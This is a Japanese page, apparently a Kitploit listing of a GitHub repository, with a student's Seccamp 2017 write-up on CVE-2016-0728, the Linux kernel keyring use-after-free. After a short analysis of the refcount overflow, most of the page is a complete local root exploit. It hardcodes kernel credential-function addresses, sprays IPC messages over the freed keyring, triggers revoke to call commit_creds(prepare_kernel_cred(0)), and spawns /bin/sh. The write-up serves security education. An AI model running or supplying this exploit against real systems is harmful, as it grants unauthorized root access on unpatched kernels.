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CVE-2016-0728 — CVE-2016-0728(キー保持サービスの use-after-free)の教育用 Linux カーネルエクスプロイト。詳細な分析、PoC コード、権限昇格のための緩和策の議論を含みます。 | Kitploit
ツール/GitHubGitHub/hal0taso/cve-2016-0728
特権昇格脆弱性分析エクスプロイト学習と教育バイナリエクスプロイトラボと実践
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

CVE-2016-0728(キー保持サービスの use-after-free)の教育用 Linux カーネルエクスプロイト。詳細な分析、PoC コード、権限昇格のための緩和策の議論を含みます。

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129年前未レビュー

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CVE-2016-0728

Seccamp 2017 課題

以下のプログラムはLinuxカーネル3.8〜4.4に存在する脆弱性を悪用しています。このプログラムの実行により発生する不具合を説明してください。また、この脆弱性をさらに悪用することでroot権限昇格を行うエクスプロイトを記述し、自分が試した動作環境や工夫点等を説明してください。加えて、このような攻撃を緩和する対策手法をなるべく多く挙げ、それらを説明してください。 完全には分からなくても構いませんので、理解できたところまでの情報や試行の過程、感じた事等について自分の言葉で記述してください。また参考にしたサイトや文献があれば、それらの情報源を明記してください。

#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

Introduction

検証環境は以下のとおりです。

$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

私はこの脆弱性をはじめて知ったのですが、調べてわかったこと、その過程で試してみたことについて記述します。最初に、このプログラムで使われている鍵保存サービスについて、そして今回のプログラムが悪用するUse-After-Free脆弱性とそれがプログラムの何が原因で起こっているのか説明し、それによってどういう不具合が生じるかについて述べます。今回の脆弱性はCVE-2016-0728として登録されており、その概要については、以下のサイトを参考にしました。

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

また、Linuxの鍵保存サービスについても初めて知ったものだったので、IBMのLinux鍵保存サービス入門のWebページ

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

と検証環境であるLinux kernel 3.19のソースコード

https://www.kernel.org/

カーネルメッセージをホストOSにネットワーク経由で送るのに DEBUG HACKS - デバッグを極めるテクニック&ツール(O'REILLY)

を参考にしました。

このプログラム(以下、これをleak.cと呼びます)はLinuxの鍵保存サービスに存在するバグを悪用していて、このバグによってUse-After-Free脆弱性に繋がっています。Use-After-Free脆弱性とは、プログラムの不整合によって、解放済のヒープメモリアドレが参照されてしまう場合に任意のコードが実行可能となるものです。まず、このプログラムが使用するシステムコールkeyctl()について説明し、そこにどのようなバグが存在するか記述します。

それぞれのプロセスはkeyctl(KEYCTL_JOIN_SESSION_KEYRING, name)というシステムコールによって現在のセッションのためのプロセス毎の鍵リングを作成することができます。この鍵リングはその名前nameを参照することによって、プロセス間で共有することができます。もしプロセスが既にセッション鍵リングを持っている場合、このシステムコールはセッション鍵リングを新しい鍵リングと置き換えます。ここの動作についてもっとよく知りたかったので、カーネルのソースコードの/security/keys/process_keys.cのjoin_session_keyring関数を参照しました。それは以下のようなプログラムになっています。セッション鍵リングを新規のセッション鍵リングと置き換える際に、key_putという関数をスキップします。key_put関数は引数に与えられた鍵リングの参照を破棄する関数です。それをスキップすることによって、その新しい鍵リングへの参照が残っている状態になり、これがUse-After-Free脆弱性に繋がっています。

この鍵リングがプロセス間で共有されているとき、構造体keyのusageメンバに保存されている内部の参照回数が増加します。usageメンバはatomic_tという型ですが、これは実際にはint型変数一つを含むstructのtypedefとして定義されています。また、このusageメンバのオーバーフローを防ぐ機構がないため、このメンバを増加させていくことでp−バーフローして0になるまで参照できます。usageメンバが0になった時、鍵リングのサブシステム内部でのガベージコレクションによって、その鍵リングは解放されます。この解放された領域にユーザー空間から別の任意の処理を行うカーネルモジュールを配置することにより、その処理をカーネルの権限で実行することができます。

参考にしたサイトでは、leak.cをkeyutilsというライブラリをコンパイルして実行すると、/proc/keysにはleaked_keyというセッション鍵リングが登録され、100回参照されたことが示されます。このプログラムを実行する前後でleaked-keyringが以下のように表示されることを確かめていました。

# 実行前
$ cat /proc/keys
$ ./leak
# 実行後
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

しかし、検証環境ではleaked-keyringは表示されませんでした。試しに、forループの条件文をi < 0x1000000のように大きい数にして見てみると、プログラムの実行中にはleaked-keyringが表示されていました。今回はusageメンバをオーバーフローさせることでkeyを解放してそこに新しいカーネルオブジェクトを配置することで攻撃が成立します。そこで、実際に試してみることにしました。exploitコードは以下のサイトを参考にしました。

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
}
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